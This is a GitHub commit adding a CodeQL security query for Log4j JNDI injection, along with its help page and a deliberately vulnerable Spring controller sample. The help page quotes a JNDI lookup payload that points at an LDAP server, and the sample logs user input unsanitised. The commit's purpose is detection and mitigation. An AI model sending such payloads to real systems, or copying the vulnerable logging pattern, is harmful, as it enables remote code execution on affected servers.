Skip to content

Commit 43a1045

Browse files
committed
[Java] Query for Log4j JNDI Injection
1 parent d8857c7 commit 43a1045

File tree

3 files changed

+278
-0
lines changed

3 files changed

+278
-0
lines changed
Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
package com.example.restservice;
2+
3+
import org.apache.commons.logging.log4j.Logger;
4+
import org.springframework.web.bind.annotation.GetMapping;
5+
import org.springframework.web.bind.annotation.RequestParam;
6+
import org.springframework.web.bind.annotation.RestController;
7+
8+
@RestController
9+
public class Log4jJndiInjection {
10+
11+
private final Logger logger = LogManager.getLogger();
12+
13+
@GetMapping("/bad")
14+
public String bad(@RequestParam(value = "username", defaultValue = "name") String username) {
15+
logger.warn("User:'{}'", username);
16+
return username;
17+
}
18+
}
Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
<!DOCTYPE qhelp PUBLIC
2+
"-//Semmle//qhelp//EN"
3+
"qhelp.dtd">
4+
<qhelp>
5+
6+
<overview>
7+
<p>
8+
Log4j versions prior to 2.15.0 are subject to a remote code execution vulnerability via the ldap JNDI parser.
9+
</p>
10+
<p>
11+
As per Apache's Log4j security guide: Apache Log4j2 &lt;=2.14.1 JNDI features used in configuration, log messages, and parameters
12+
do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or
13+
log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
14+
From log4j 2.15.0, this behavior has been disabled by default.
15+
</p>
16+
</overview>
17+
18+
<recommendation>
19+
<p>
20+
This issue was remediated in Log4J v2.15.0. The Apache Logging Services team provides the following mitigation advice:
21+
</p>
22+
<p>
23+
In previous releases (>=2.10) this behavior can be mitigated by setting system property "log4j2.formatMsgNoLookups" to “true”
24+
or by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).
25+
Java 8u121 protects against RCE by defaulting "com.sun.jndi.rmi.object.trustURLCodebase" and "com.sun.jndi.cosnaming.object.trustURLCodebase" to "false".
26+
</p>
27+
<p>
28+
You can manually check for use of affected versions of Log4J by searching your project repository for Log4J use, which is often in a pom.xml file.
29+
</p>
30+
<p>
31+
Where possible, upgrade to Log4J version 2.15.0. If you are using Log4J v1 there is a migration guide available.
32+
</p>
33+
<p>
34+
Please note that Log4J v1 is End Of Life (EOL) and will not receive patches for this issue. Log4J v1 is also vulnerable to other RCE vectors and we
35+
recommend you migrate to Log4J 2.15.0 where possible.
36+
</p>
37+
<p>
38+
If upgrading is not possible, then ensure the -Dlog4j2.formatMsgNoLookups=true system property is set on both client- and server-side components.
39+
</p>
40+
</recommendation>
41+
42+
<example>
43+
<p>In this example, a username, provided by the user, is logged using <code>logger.warn</code> (from <code>org.apache.logging.log4j.Logger</code>).
44+
If a malicious user provides <code>${jndi:ldap://127.0.0.1:1389/a}</code> as a username parameter,
45+
Log4j will make a JNDI lookup on the specified LDAP server and potentially load arbitrary code.
46+
</p>
47+
<sample src="Log4jJndiInjection.java" />
48+
</example>
49+
50+
<references>
51+
<li>GitHub Advisory Database: <a href="https://github.com/advisories/GHSA-jfh8-c2jp-5v3q">Remote code injection in Log4j</a>.</li>
52+
</references>
53+
</qhelp>
Lines changed: 207 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,207 @@
1+
/**
2+
* @name Log4j JNDI Injection
3+
* @description Building Log4j log entries from user-controlled data may allow
4+
* attackers to inject malicious code through JNDI lookups.
5+
* @kind path-problem
6+
* @problem.severity error
7+
* @precision high
8+
* @id java/log4j-jndi-injection
9+
* @tags security
10+
* external/cwe/cwe-020
11+
* external/cwe/cwe-074
12+
* external/cwe/cwe-400
13+
* external/cwe/cwe-502
14+
*/
15+
16+
import java
17+
import semmle.code.java.dataflow.FlowSources
18+
import semmle.code.java.dataflow.ExternalFlow
19+
import DataFlow::PathGraph
20+
21+
private class LoggingSummaryModels extends SummaryModelCsv {
22+
override predicate row(string row) {
23+
row =
24+
[
25+
"org.apache.logging.log4j;Logger;true;traceEntry;(Message);;Argument[0];ReturnValue;taint",
26+
"org.apache.logging.log4j;Logger;true;traceEntry;(String,Object[]);;Argument[0..1];ReturnValue;taint",
27+
"org.apache.logging.log4j;Logger;true;traceEntry;(String,Supplier[]);;Argument[0..1];ReturnValue;taint",
28+
"org.apache.logging.log4j;Logger;true;traceEntry;(Supplier[]);;Argument[0];ReturnValue;taint",
29+
"org.apache.logging.log4j;Logger;true;traceExit;(EntryMessage,Object);;Argument[1];ReturnValue;value",
30+
"org.apache.logging.log4j;Logger;true;traceExit;(Message,Object);;Argument[1];ReturnValue;value",
31+
"org.apache.logging.log4j;Logger;true;traceExit;(Object);;Argument[0];ReturnValue;value",
32+
"org.apache.logging.log4j;Logger;true;traceExit;(String,Object);;Argument[1];ReturnValue;value",
33+
]
34+
}
35+
}
36+
37+
private class LoggingSinkModels extends SinkModelCsv {
38+
override predicate row(string row) {
39+
row =
40+
[
41+
// org.apache.logging.log4j.Logger
42+
"org.apache.logging.log4j;Logger;true;" +
43+
["debug", "error", "fatal", "info", "trace", "warn"] +
44+
[
45+
";(CharSequence);;Argument[0];logging",
46+
";(CharSequence,Throwable);;Argument[0];logging",
47+
";(Marker,CharSequence);;Argument[1];logging",
48+
";(Marker,CharSequence,Throwable);;Argument[1];logging",
49+
";(Marker,Message);;Argument[1];logging",
50+
";(Marker,MessageSupplier);;Argument[1];logging",
51+
";(Marker,MessageSupplier);;Argument[1];logging",
52+
";(Marker,MessageSupplier,Throwable);;Argument[1];logging",
53+
";(Marker,Object);;Argument[1];logging",
54+
";(Marker,Object,Throwable);;Argument[1];logging",
55+
";(Marker,String);;Argument[1];logging",
56+
";(Marker,String,Object[]);;Argument[1..2];logging",
57+
";(Marker,String,Object);;Argument[1..2];logging",
58+
";(Marker,String,Object,Object);;Argument[1..3];logging",
59+
";(Marker,String,Object,Object,Object);;Argument[1..4];logging",
60+
";(Marker,String,Object,Object,Object,Object);;Argument[1..5];logging",
61+
";(Marker,String,Object,Object,Object,Object,Object);;Argument[1..6];logging",
62+
";(Marker,String,Object,Object,Object,Object,Object,Object);;Argument[1..7];logging",
63+
";(Marker,String,Object,Object,Object,Object,Object,Object,Object);;Argument[1..8];logging",
64+
";(Marker,String,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[1..9];logging",
65+
";(Marker,String,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[1..10];logging",
66+
";(Marker,String,Object,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[1..11];logging",
67+
";(Marker,String,Supplier);;Argument[1..2];logging",
68+
";(Marker,String,Throwable);;Argument[1];logging",
69+
";(Marker,Supplier);;Argument[1];logging",
70+
";(Marker,Supplier,Throwable);;Argument[1];logging",
71+
";(MessageSupplier);;Argument[0];logging",
72+
";(MessageSupplier,Throwable);;Argument[0];logging", ";(Message);;Argument[0];logging",
73+
";(Message,Throwable);;Argument[0];logging", ";(Object);;Argument[0];logging",
74+
";(Object,Throwable);;Argument[0];logging", ";(String);;Argument[0];logging",
75+
";(String,Object[]);;Argument[0..1];logging",
76+
";(String,Object);;Argument[0..1];logging",
77+
";(String,Object,Object);;Argument[0..2];logging",
78+
";(String,Object,Object,Object);;Argument[0..3];logging",
79+
";(String,Object,Object,Object,Object);;Argument[0..4];logging",
80+
";(String,Object,Object,Object,Object,Object);;Argument[0..5];logging",
81+
";(String,Object,Object,Object,Object,Object,Object);;Argument[0..6];logging",
82+
";(String,Object,Object,Object,Object,Object,Object,Object);;Argument[0..7];logging",
83+
";(String,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[0..8];logging",
84+
";(String,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[0..9];logging",
85+
";(String,Object,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[0..10];logging",
86+
";(String,Supplier);;Argument[0..1];logging",
87+
";(String,Throwable);;Argument[0];logging", ";(Supplier);;Argument[0];logging",
88+
";(Supplier,Throwable);;Argument[0];logging"
89+
],
90+
"org.apache.logging.log4j;Logger;true;log" +
91+
[
92+
";(Level,CharSequence);;Argument[1];logging",
93+
";(Level,CharSequence,Throwable);;Argument[1];logging",
94+
";(Level,Marker,CharSequence);;Argument[2];logging",
95+
";(Level,Marker,CharSequence,Throwable);;Argument[2];logging",
96+
";(Level,Marker,Message);;Argument[2];logging",
97+
";(Level,Marker,MessageSupplier);;Argument[2];logging",
98+
";(Level,Marker,MessageSupplier);;Argument[2];logging",
99+
";(Level,Marker,MessageSupplier,Throwable);;Argument[2];logging",
100+
";(Level,Marker,Object);;Argument[2];logging",
101+
";(Level,Marker,Object,Throwable);;Argument[2];logging",
102+
";(Level,Marker,String);;Argument[2];logging",
103+
";(Level,Marker,String,Object[]);;Argument[2..3];logging",
104+
";(Level,Marker,String,Object);;Argument[2..3];logging",
105+
";(Level,Marker,String,Object,Object);;Argument[2..4];logging",
106+
";(Level,Marker,String,Object,Object,Object);;Argument[2..5];logging",
107+
";(Level,Marker,String,Object,Object,Object,Object);;Argument[2..6];logging",
108+
";(Level,Marker,String,Object,Object,Object,Object,Object);;Argument[2..7];logging",
109+
";(Level,Marker,String,Object,Object,Object,Object,Object,Object);;Argument[2..8];logging",
110+
";(Level,Marker,String,Object,Object,Object,Object,Object,Object,Object);;Argument[2..9];logging",
111+
";(Level,Marker,String,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[2..10];logging",
112+
";(Level,Marker,String,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[2..11];logging",
113+
";(Level,Marker,String,Object,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[2..12];logging",
114+
";(Level,Marker,String,Supplier);;Argument[2..3];logging",
115+
";(Level,Marker,String,Throwable);;Argument[2];logging",
116+
";(Level,Marker,Supplier);;Argument[2];logging",
117+
";(Level,Marker,Supplier,Throwable);;Argument[2];logging",
118+
";(Level,Message);;Argument[1];logging",
119+
";(Level,MessageSupplier);;Argument[1];logging",
120+
";(Level,MessageSupplier,Throwable);;Argument[1];logging",
121+
";(Level,Message);;Argument[1];logging",
122+
";(Level,Message,Throwable);;Argument[1];logging",
123+
";(Level,Object);;Argument[1];logging", ";(Level,Object);;Argument[1];logging",
124+
";(Level,String);;Argument[1];logging",
125+
";(Level,Object,Throwable);;Argument[1];logging",
126+
";(Level,String);;Argument[1];logging",
127+
";(Level,String,Object[]);;Argument[1..2];logging",
128+
";(Level,String,Object);;Argument[1..2];logging",
129+
";(Level,String,Object,Object);;Argument[1..3];logging",
130+
";(Level,String,Object,Object,Object);;Argument[1..4];logging",
131+
";(Level,String,Object,Object,Object,Object);;Argument[1..5];logging",
132+
";(Level,String,Object,Object,Object,Object,Object);;Argument[1..6];logging",
133+
";(Level,String,Object,Object,Object,Object,Object,Object);;Argument[1..7];logging",
134+
";(Level,String,Object,Object,Object,Object,Object,Object,Object);;Argument[1..8];logging",
135+
";(Level,String,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[1..9];logging",
136+
";(Level,String,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[1..10];logging",
137+
";(Level,String,Object,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[1..11];logging",
138+
";(Level,String,Supplier);;Argument[1..2];logging",
139+
";(Level,String,Throwable);;Argument[1];logging",
140+
";(Level,Supplier);;Argument[1];logging",
141+
";(Level,Supplier,Throwable);;Argument[1];logging"
142+
], "org.apache.logging.log4j;Logger;true;entry;(Object[]);;Argument[0];logging",
143+
"org.apache.logging.log4j;Logger;true;logMessage;(Level,Marker,String,StackTraceElement,Message,Throwable);;Argument[4];logging",
144+
"org.apache.logging.log4j;Logger;true;printf;(Level,Marker,String,Object[]);;Argument[2..3];logging",
145+
"org.apache.logging.log4j;Logger;true;printf;(Level,String,Object[]);;Argument[1..2];logging",
146+
"org.apache.logging.log4j;Logger;true;traceEntry;(Message);;Argument[0];logging",
147+
"org.apache.logging.log4j;Logger;true;traceEntry;(String,Object[]);;Argument[0..1];logging",
148+
"org.apache.logging.log4j;Logger;true;traceEntry;(String,Supplier[]);;Argument[0..1];logging",
149+
"org.apache.logging.log4j;Logger;true;traceEntry;(Supplier[]);;Argument[0];logging",
150+
"org.apache.logging.log4j;Logger;true;traceExit;(EntryMessage);;Argument[0];logging",
151+
"org.apache.logging.log4j;Logger;true;traceExit;(EntryMessage,Object);;Argument[0..1];logging",
152+
"org.apache.logging.log4j;Logger;true;traceExit;(Message,Object);;Argument[0..1];logging",
153+
"org.apache.logging.log4j;Logger;true;traceExit;(Object);;Argument[0];logging",
154+
"org.apache.logging.log4j;Logger;true;traceExit;(String,Object);;Argument[0..1];logging",
155+
// org.apache.logging.log4j.LogBuilder
156+
"org.apache.logging.log4j;LogBuilder;true;log;(CharSequence);;Argument[0];logging",
157+
"org.apache.logging.log4j;LogBuilder;true;log;(Message);;Argument[0];logging",
158+
"org.apache.logging.log4j;LogBuilder;true;log;(Object);;Argument[0];logging",
159+
"org.apache.logging.log4j;LogBuilder;true;log;(String);;Argument[0];logging",
160+
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object[]);;Argument[0..1];logging",
161+
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object);;Argument[0..1];logging",
162+
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object);;Argument[0..2];logging",
163+
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object);;Argument[0..3];logging",
164+
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object,Object);;Argument[0..4];logging",
165+
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object,Object,Object);;Argument[0..5];logging",
166+
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object,Object,Object,Object);;Argument[0..6];logging",
167+
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object,Object,Object,Object,Object);;Argument[0..7];logging",
168+
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[0..8];logging",
169+
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[0..9];logging",
170+
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[0..10];logging",
171+
"org.apache.logging.log4j;LogBuilder;true;log;(String,Supplier);;Argument[0..1];logging",
172+
"org.apache.logging.log4j;LogBuilder;true;log;(Supplier);;Argument[0];logging"
173+
]
174+
}
175+
}
176+
177+
/** A data flow sink for unvalidated user input that is used to log messages. */
178+
class Log4jInjectionSink extends DataFlow::Node {
179+
Log4jInjectionSink() { sinkNode(this, "logging") }
180+
}
181+
182+
/**
183+
* A node that sanitizes a message before logging to avoid log injection.
184+
*/
185+
class Log4jInjectionSanitizer extends DataFlow::Node {
186+
Log4jInjectionSanitizer() {
187+
this.getType() instanceof BoxedType or this.getType() instanceof PrimitiveType
188+
}
189+
}
190+
191+
/**
192+
* A taint-tracking configuration for tracking untrusted user input used in log entries.
193+
*/
194+
class Log4jInjectionConfiguration extends TaintTracking::Configuration {
195+
Log4jInjectionConfiguration() { this = "Log4jInjectionConfiguration" }
196+
197+
override predicate isSource(DataFlow::Node source) { source instanceof RemoteFlowSource }
198+
199+
override predicate isSink(DataFlow::Node sink) { sink instanceof Log4jInjectionSink }
200+
201+
override predicate isSanitizer(DataFlow::Node node) { node instanceof Log4jInjectionSanitizer }
202+
}
203+
204+
from Log4jInjectionConfiguration cfg, DataFlow::PathNode source, DataFlow::PathNode sink
205+
where cfg.hasFlowPath(source, sink)
206+
select sink.getNode(), source, sink, "This $@ flows to a Log4j log entry.", source.getNode(),
207+
"user-provided value"

0 commit comments

Comments
 (0)